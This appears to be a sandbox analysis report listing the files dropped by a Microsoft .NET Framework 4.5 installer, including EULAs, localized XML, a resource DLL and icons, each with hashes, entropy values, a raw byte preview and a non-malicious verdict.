                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang2070\b\f0\fs20 TERMOS DE LICENCIAMENTO SUPLEMENTARES PARA SOFTWARE MICROSOFT\lang1046\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang2070 NET FRAMEWORK 4.5 PARA O SISTEMA OPERATIVO MICROSOFT WINDOWS E PACOTES DE\~IDIOMAS ASSOCIADOS\lang1046\par..\pard\nowidctlpar\sb120\sa120\lang2070\b0 A Microsoft Corporation (ou, dependendo do pa\'eds em que reside, uma das respetivas empresas afiliadas) licencia este suplemento para o Adquirente.\lang1046 \lang2070 Se o Adquirente estiver licenciado para utilizar software de sistema operativo Microsoft Windows (o \ldblquote software\rdblquote ), poder\'e1 utilizar este suplemento.\lang1046 \lang2070 O Adquirente n\

                  C:\02160d95efb0ac51c5e073\3082\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (500), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55074
                  Entropy (8bit):3.529708817592422
                  Encrypted:false
                  SSDEEP:384:4TQpXaBUN/u9SVXq++hUaF/CJD1lDov7JuL4ikZTIv:3VpZl0TJtikdQ
                  MD5:E58EFAC53FE2A16BE9B99D0AA33BAA3D
                  SHA1:7F2FECB6C4EBE9374A04F374D43465D968B3E33F
                  SHA-256:64BAA04B7EBB5EE833F43493497E99A6F2584BDC763A7C24700693CB89B35A0C
                  SHA-512:B9B2E07E845E6BB509D4471CBE3C848836938E507308293F7C083C54CEF61911A06110A5616C216EC72C39CE887B2E7F5961688809A2DAD787D131EF2780D22E
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.S.N."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\3082\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30152
                  Entropy (8bit):6.070363550380168
                  Encrypted:false
                  SSDEEP:384:rdF6XmfBbYOqMpjdmWGeWJR1LHB0GftpBjcDHRN7kWTlXxHn:r4mFHFcFWieDbrH
                  MD5:4AA904248DD701F646B6F0D75C6D4240
                  SHA1:D83C033F77874A58F6DC5E146B5BCCB920446270
                  SHA-256:F185925017790B0A327F253F9A44BFE2DB179CA0617C1FDBD1F16AD5CF432005
                  SHA-512:D9F92D6885CB2B07C3C4C36AABBE5E323136CA089D0CA266466FE831B233B22E85403739F83C137FB9898B4A33793E0F1C41508320E7C125FF22F1C54B3F307C
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........4...............................................`......Gr....@.......................................... ...0...........8...=...........................................................................................text...G...........................@..@.rsrc....@... ...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\3082\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6081
                  Entropy (8bit):5.035201291083408
                  Encrypted:false
                  SSDEEP:96:M5tIfZQZ6A/TtnDuHUQIVwHKeKES7b6TESaFgPIUHusZZvRXhESJmmrCRfzKqARY:1fZxH4wKebtY3+pjXeElQFObKnlAom2
                  MD5:24091121DB57566F3D6D464CE6841CDE
                  SHA1:133357D21AFC2B3022F40F7238CA9625EC68781E
                  SHA-256:EFB1E4E1250B14991682D47788B4343303FDEF3CFA93A5874B671F850D03A430
                  SHA-512:A506F292ACEAC3EDFD0A7DB6C2B9B9CA546E5B5792605C50FEE0A91C107BA317824E945A774F254781A2AE6408578CB6854DEFB9CE9D91D1BD2F63AB5498147C
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang3082\b\f0\fs20 T\'c9RMINOS DE LICENCIA COMPLEMENTARIOS DEL SOFTWARE DE MICROSOFT\lang1040\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang3082 NET FRAMEWORK 4.5 PARA SISTEMA OPERATIVO MICROSOFT WINDOWS Y PAQUETES DE IDIOMAS ASOCIADOS\lang1040\par..\pard\nowidctlpar\sb120\sa120\lang3082\b0 Microsoft Corporation (o, en funci\'f3n de donde resida, una de sus filiales) le licencia este complemento. Si\~posee licencias para utilizar software de sistema operativo Windows (el \ldblquote software\rdblquote ), puede utilizar este\~complemento. No puede utilizarlo si no tiene una licencia para el software. Puede utilizar este complemento con cada copia de licencia

                  C:\02160d95efb0ac51c5e073\DHtmlHeader.html

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):16118
                  Entropy (8bit):3.6434775915277604
                  Encrypted:false
                  SSDEEP:192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
                  MD5:CD131D41791A543CC6F6ED1EA5BD257C
                  SHA1:F42A2708A0B42A13530D26515274D1FCDBFE8490
                  SHA-256:E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
                  SHA-512:A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\02160d95efb0ac51c5e073\DisplayIcon.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 13 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
                  Category:dropped
                  Size (bytes):88533
                  Entropy (8bit):7.210526848639953
                  Encrypted:false
                  SSDEEP:1536:xWayqxMQP8ZOs0JOG58d8vo2zYOvvHAj/4/aXj/Nhhg73BVp5vEdb:e/gB4H8vo2no0/aX7C7Dct
                  MD5:F9657D290048E169FFABBBB9C7412BE0
                  SHA1:E45531D559C38825FBDE6F25A82A638184130754
                  SHA-256:B74AD253B9B8F9FCADE725336509143828EE739CC2B24782BE3ECFF26F229160
                  SHA-512:8B93E898148EB8A751BC5E4135EFB36E3AC65AF34EAAC4EA401F1236A2973F003F84B5CFD1BBEE5E43208491AA1B63C428B64E52F7591D79329B474361547268
                  Malicious:false
                  Preview:..............(...............h...............h...f... .............. .............. ..........^...00......h....#..00..........n)..00...........8........ .h....T.. .... .....&Y..00.... ..%...i........ ._...v...(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..|u..xq..|r..|u..rx..zy..|w.}.y...q...d...y...{......S...]..d..i..r..|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l.............................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\Graphics\Print.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):4.923507556620034
                  Encrypted:false
                  SSDEEP:24:dOjNyw2aSGZHJi4U7Wf0mDX+QF7s/AemFAh:MjNyw/0NW9DOp/ANC
                  MD5:7E55DDC6D611176E697D01C90A1212CF
                  SHA1:E2620DA05B8E4E2360DA579A7BE32C1B225DEB1B
                  SHA-256:FF542E32330B123486797B410621E19EAFB39DF3997E14701AFA4C22096520ED
                  SHA-512:283D381AA396820B7E15768B20099D67688DA1F6315EC9F7938C2FCC3167777502CDED0D1BEDDF015A34CC4E5D045BCB665FFD28BA2FBB6FAF50FDD38B31D16E
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@.........................................................................................t?.fR.|bN.y_K.v\H.rXD.oUA.kQ=.hN:.eK7.cI5.cI5.cI5i.........th<..z............................................cI5.cI5...................................................qXE.cI5.cI5.......~.............................................}eS.kR>.cI5......................................................q`.w^L.cI5..............................z..~n..sb..jX.{bP.t[H..~m..kY.nT@.......................................................{..wf.zaM.......vO.......................q..r`.}cQ.w]J..lZ.......t.x^J...........}Z..................................z`M........{aM...............0..............................jY.{aO...........................................................x^K.x^Kk.....................................................n\.y_L...........................r...............................y_L.x^K&.........................s.............

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate1.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5118974066097444
                  Encrypted:false
                  SSDEEP:6:kRKqNllGuv/ll2dL/rK//dlQt0tlWMlMN8Fq/wbD4tNZDlNc367YCm6p+Wvtjlpr:pIGOmDAQt8n+uNbctNZ5w6AsXjKHRp5c
                  MD5:26A00597735C5F504CF8B3E7E9A7A4C1
                  SHA1:D913CB26128D5CA1E1AC3DAB782DE363C9B89934
                  SHA-256:37026C4EA2182D7908B3CF0CEF8A6F72BDDCA5F1CFBC702F35B569AD689CF0AF
                  SHA-512:08CEFC5A2B625F261668F70CC9E1536DC4878D332792C751884526E49E7FEE1ECFA6FCCFDDF7BE80910393421CC088C0FD0B0C27C7A7EFF2AE03719E06022FDF
                  Malicious:false
                  Preview:..............h.......(....... .......................................................................................................................................................................................t.r........................................p.nn.l|.z..........................................g.e.......................................................................................P.N..........................................P.OG.FP.O..........................................?.>...................................................................................................+.*..........................................3.2%.$+.*..........................................!. ............{.{.............................................................................................~.~..................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate2.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5178766234336925
                  Encrypted:false
                  SSDEEP:12:pmZX5+9wQaxWbwW3h/7eHzemn0iLHRp5c:Md5EaxWbh/Cnt4
                  MD5:8419CAA81F2377E09B7F2F6218E505AE
                  SHA1:2CF5AD8C8DA4F1A38AAB433673F4DDDC7AE380E9
                  SHA-256:DB89D8A45C369303C04988322B2774D2C7888DA5250B4DAB2846DEEF58A7DE22
                  SHA-512:74E504D2C3A8E82925110B7CFB45FDE8A4E6DF53A188E47CF22D664CBB805EBA749D2DB23456FC43A86E57C810BC3D9166E7C72468FBD736DA6A776F8CA015D1
                  Malicious:false
                  Preview:..............h.......(....... ...............................................................................................................................................................................................................................................................................................................................................................................r.p..........................................q.oj.hq.o..........................................b.`...................................................................................................J.I..................|.|...y.y...............Q.PC.BF.E..........................................>.=.........".!..........................................2.1".!'.&..........................................".!.....................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate3.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5189797450574103
                  Encrypted:false
                  SSDEEP:12:pPrMIMxPWk3AyORrabBQ+gra2/MXWM4xfQHRp5c:1gxPbXlBQ+gr1ffO4
                  MD5:924FD539523541D42DAD43290E6C0DB5
                  SHA1:19A161531A2C9DBC443B0F41B97CBDE7375B8983
                  SHA-256:02A7FE932029C6FA24D1C7CC06D08A27E84F43A0CBC47B7C43CAC59424B3D1F6
                  SHA-512:86A4C5D981370EFA20183CC4A52C221467692E91539AC38C8DEF1CC200140F6F3D9412B6E62FAF08CA6668DF401D8B842C61B1F3C2A4C4570F3B2CEC79C9EE8B
                  Malicious:false
                  Preview:..............h.......(....... .................................................................................................................................................................................................................................................................................................................................................................................................................z.z...{.{...........................................................................................................................................................s.q..........................................y.wl.jl.j...............3.2#."*.)..................f.d.........E.D.........(.'..............................U.TE.DF.E..........................................E.D.....................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate4.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5119705312617957
                  Encrypted:false
                  SSDEEP:6:kRK///FleTxml+SzNaoT9Q0/lHOmMdrYln8OUo/XRWl2XOXFBYpqnHp/p5c:p///FPwxUrMunUofRReFNHRp5c
                  MD5:BB55B5086A9DA3097FB216C065D15709
                  SHA1:1206C708BD08231961F17DA3D604A8956ADDCCFE
                  SHA-256:8D82FF7970C9A67DA8134686560FE3A6C986A160CED9D1CC1392F2BA75C698AB
                  SHA-512:DE9226064680DA6696976A4A320E08C41F73D127FBB81BF142048996DF6206DDB1C2FE347C483CC8E0E50A00DAB33DB9261D03F1CD7CA757F5CA7BB84865FCA9
                  Malicious:false
                  Preview:..............h.......(....... .............................................................................................................................................................................................................y.y...|.|.............................................................................................................................................................................................................................................,.+".!,.+.........................................(.'......................................................................................=.<..........................................S.RC.BG.F.............................j.h.........H.G..............................y.wj.hi.g..........................................j.h.....................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate5.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5083713071878764
                  Encrypted:false
                  SSDEEP:6:kRKi+Blqkl/QThulVDYa5a//ItEl/aotzauakg//5aM1lkl05Kaag2/JqnHp/p5c:pXBHehqSayIylrtBg/bk4AgzHRp5c
                  MD5:3B4861F93B465D724C60670B64FCCFCF
                  SHA1:C672D63C62E00E24FBB40DA96A0CC45B7C5EF7F0
                  SHA-256:7237051D9AF5DB972A1FECF0B35CD8E9021471740782B0DBF60D3801DC9F5F75
                  SHA-512:2E798B0C9E80F639571525F39C2F50838D5244EEDA29B18A1FAE6C15D939D5C8CD29F6785D234B54BDA843A645D1A95C7339707991A81946B51F7E8D5ED40D2C
                  Malicious:false
                  Preview:..............h.......(....... .................................................................................................{.{...~.~.......................................................................................}.}.........................................................).(#."2.1..........................................).(...................................................................................................=.<..........................................N.ME.DN.M..........................................M.L.......................................................................................e.c..........................................z.xl.jm.k........................................r.p........................................................................................................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate6.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5043420982993396
                  Encrypted:false
                  SSDEEP:12:pjs+/hlRwx5REHevtOkslTaGWOpRFkpRHkCHRp5c:tZ/u+HeilBh/F+Rd4
                  MD5:70006BF18A39D258012875AEFB92A3D1
                  SHA1:B47788F3F8C5C305982EB1D0E91C675EE02C7BEB
                  SHA-256:19ABCEDF93D790E19FB3379CB3B46371D3CBFF48FE7E63F4FDCC2AC23A9943E4
                  SHA-512:97FDBDD6EFADBFB08161D8546299952470228A042BD2090CD49896BC31CCB7C73DAB8F9DE50CDAF6459F7F5C14206AF7B90016DEEB1220943D61C7324541FE2C
                  Malicious:false
                  Preview:..............h.......(....... .................................................................................................... ............................................$.$ ..0./...........................{.{............ ...........<.;..........................................C.BA.@O.N...............{.{...~.~..................G.F..................................................................................................._.]..........................................n.lg.en.l..........................................p.n...............................................................................................................................................................................................................................................................................................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate7.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.4948009720290445
                  Encrypted:false
                  SSDEEP:6:kRKIekllisUriJ2IP+eX8iDml8mS8+hlxllwqlllkg2klHYdpqnHp/p5c:p8os0iieX8iNVHX//x2sHYdoHRp5c
                  MD5:FB4DFEBE83F554FAF1A5CEC033A804D9
                  SHA1:6C9E509A5D1D1B8D495BBC8F57387E1E7E193333
                  SHA-256:4F46A9896DE23A92D2B5F963BCFB3237C3E85DA05B8F7660641B3D1D5AFAAE6F
                  SHA-512:3CAEB21177685B9054B64DEC997371C4193458FF8607BCE67E4FBE72C4AF0E6808D344DD0D59D3D0F5CE00E4C2B8A4FFCA0F7D9352B0014B9259D76D7F03D404
                  Malicious:false
                  Preview:..............h.......(....... ....................................................................................................G.F..........................................H.GG.FX.V..............................).(.........G.F.........i.g..................+.*%.$5.4...............n.ln.l{.y.................. .......................u.s............................................................................................................................................................~.~...~.~.................................................................................................................................................................................................................................................................................................................................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Rotate8.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.513882730304912
                  Encrypted:false
                  SSDEEP:12:pPv1OuTerb53mpOBfXjQuZfKWpIXE1D6HRp5c:91OEerb53eUQsflpIP4
                  MD5:D1C53003264DCE4EFFAF462C807E2D96
                  SHA1:92562AD5876A5D0CB35E2D6736B635CB5F5A91D9
                  SHA-256:5FB03593071A99C7B3803FE8424520B8B548B031D02F2A86E8F5412AC519723C
                  SHA-512:C34F8C05A50DC0DE644D1F9D97696CDB0A1961C7C7E412EB3DF2FD57BBD34199CF802962CA6A4B5445A317D9C7875E86E8E62F6C1DF8CC3415AFC0BD26E285BD
                  Malicious:false
                  Preview:..............h.......(....... ....................................................................................................g.e..........................................g.eg.ew.u..............................F.E.........g.e..............................E.DA.@P.O..........................................:.9......................................................................................&.%.........................................+.* ..+.*..................................................................................................................................................{.{.......................................................................................~.~...{.{..............................................................................................................................................G.......................................G..........

                  C:\02160d95efb0ac51c5e073\Graphics\Save.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):4.824239610266714
                  Encrypted:false
                  SSDEEP:24:Br5ckw0Pce/WPv42lPpJ2/BatY9Y4ollEKeKzn:h6kPccWPQS2UtEYFEKeu
                  MD5:7D62E82D960A938C98DA02B1D5201BD5
                  SHA1:194E96B0440BF8631887E5E9D3CC485F8E90FBF5
                  SHA-256:AE041C8764F56FD89277B34982145D16FC59A4754D261C861B19371C3271C6E5
                  SHA-512:AB06B2605F0C1F6B71EF69563C0C977D06C6EA84D58EF7F2BAECBA566D6037D1458C2B58E6BFD70DDEF47DCCBDEA6D9C2F2E46DEA67EA9E92457F754D7042F67
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@........................................................................................klT.de..UV..RS..OP..MM..JJ..GG..DD..AA.x;<.x;<.r99.n67..........kl......D$.G2!...............VMH..>3..=6..91.r99..........op.........q[K.G<4..xh...........s..A5..B<..=5.x;<..........uv...........q[K.....G<4..........tg..KC..ID..B<.}>>..........{|.............q[K.q[K.q[K.q[K.vbR.}j[..VT..OL..ID..AA...............................yz..qr..kl..]\..VT..PL..DD.....................c`..^V..XK..R?..M4..G(..A...;...]\..VT..GG................fg.................................;...]\..JJ................mn..................................A...gg..MM................vw..................................G(..qr..OP..................................................M4..yz..RS..................................................R?.g33..UV....................................................XK..XY..XY..................................

                  C:\02160d95efb0ac51c5e073\Graphics\Setup.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 12 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
                  Category:dropped
                  Size (bytes):36710
                  Entropy (8bit):5.3785085024370805
                  Encrypted:false
                  SSDEEP:384:IXcWz9GU46B4riEzg8CKcqxkk63gBh6wSphnBcI/ObMFp2rOebgcjTQcho:IMWQ2Bf8qqxMQP8pc4XessTJo
                  MD5:3D25D679E0FF0B8C94273DCD8B07049D
                  SHA1:A517FC5E96BC68A02A44093673EE7E076AD57308
                  SHA-256:288E9AD8F0201E45BC187839F15ACA79D6B9F76A7D3C9274C80F5D4A4C219C0F
                  SHA-512:3BDE668004CA7E28390862D0AE9903C756C16255BDBB3F7E73A5B093CE6A57A3165D6797B0A643B254493149231ACA7F7F03E0AF15A0CBE28AFF02F0071EC255
                  Malicious:false
                  Preview:..............(...............h...............h...V... .............. .............. ..........N...00......h...."..00..........^)..00...........8........ .h....T.. .... ......Y..00.... ..%...i..(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..|u..xq..|r..|u..rx..zy..|w.}.y...q...d...y...{......S...]..d..i..r..|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l..........................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\Graphics\SysReqMet.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):5.038533294442847
                  Encrypted:false
                  SSDEEP:24:MuoBP5lj49s9NRDe4LakKcTM8cv99uGzMN:MlFH3/Ri4LaN3q
                  MD5:661CBD315E9B23BA1CA19EDAB978F478
                  SHA1:605685C25D486C89F872296583E1DC2F20465A2B
                  SHA-256:8BFC77C6D0F27F3D0625A884E0714698ACC0094A92ADCB6DE46990735AE8F14D
                  SHA-512:802CC019F07FD3B78FCEFDC8404B3BEB5D17BFC31BDED90D42325A138762CC9F9EBFD1B170EC4BBCCCF9B99773BD6C8916F2C799C54B22FF6D5EDD9F388A67C6
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@..........................................M...........S...........................................q.......................z...................................;........q.c.P.K.|.}............C....................................;.!......................................................Ry,.*w..!.............-.........................................6b..8v................ .+.@............#....................4u..;a..............H.<.........=.C.............................&y..x.e.................$}......................................<.).........\.A............}..................................[.R.}.n.Z.C.y.Y.k.L............. q..............................t.s............r...k.........]{G..............................................y.`.z.h.a.N.e.P...............................................~.q._.J...............................8....................t.p..................?..................................................

                  C:\02160d95efb0ac51c5e073\Graphics\SysReqNotMet.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):5.854644771288791
                  Encrypted:false
                  SSDEEP:24:u2iVNINssNQhYMEyfCHWZZ7rTRrbWjcyuE:uDW871fdZ1lbWjME
                  MD5:EE2C05CC9D14C29F586D40EB90C610A9
                  SHA1:E571D82E81BD61B8FE4C9ECD08869A07918AC00B
                  SHA-256:3C9C71950857DDB82BAAB83ED70C496DEE8F20F3BC3216583DC1DDDA68AEFC73
                  SHA-512:0F38FE9C97F2518186D5147D2C4A786B352FCECA234410A94CC9D120974FC4BE873E39956E10374DA6E8E546AEA5689E7FA0BEED025687547C430E6CEFFABFFB
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@....................................../..F..........!....n....d..................................;.............,+..AB..UV..XZ...1.....S......................U.....................EE..\[..rr......NP.....^..............<s.....................!.$)..AC..jj..ww..{{..57.....4........01.................H..........N?8;..[[..ba..`_..TU....L.......bj]^..QP.........:..........)N#&..>=..GG..HI..IJ..EE..!#......24..mm..hh..,.............+N........)(..*-.....{-...-,........ SPS..zy..qr....qq......0NCE..33..%%........ZJ...."$..0/../1....?qRU............W}..)A]^..rr..qq..Y[...._z........CE..RQ..AC....8`79.........SU..ab......||..ef....ey...........QZ[..ZZ..=?.....(...d....................pr.....H............IK..jj..fg..*,..........]_..................[y.......(..:VQS..{z..ut..ab....'H...........?................||..ef..jk..................$%d....................W....................................*,n.............................HI......................WY

                  C:\02160d95efb0ac51c5e073\Graphics\stop.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
                  Category:dropped
                  Size (bytes):10134
                  Entropy (8bit):6.016582854640062
                  Encrypted:false
                  SSDEEP:96:uC1kqWje1S/f1AXa0w+2ZM4xD02EuZkULqcA0zjrpthQ2Ngms9+LmODclhpjdfLt:JkqAFqroMS9lD9Ngr9+m7bxpXHT5ToYR
                  MD5:5DFA8D3ABCF4962D9EC41CFC7C0F75E3
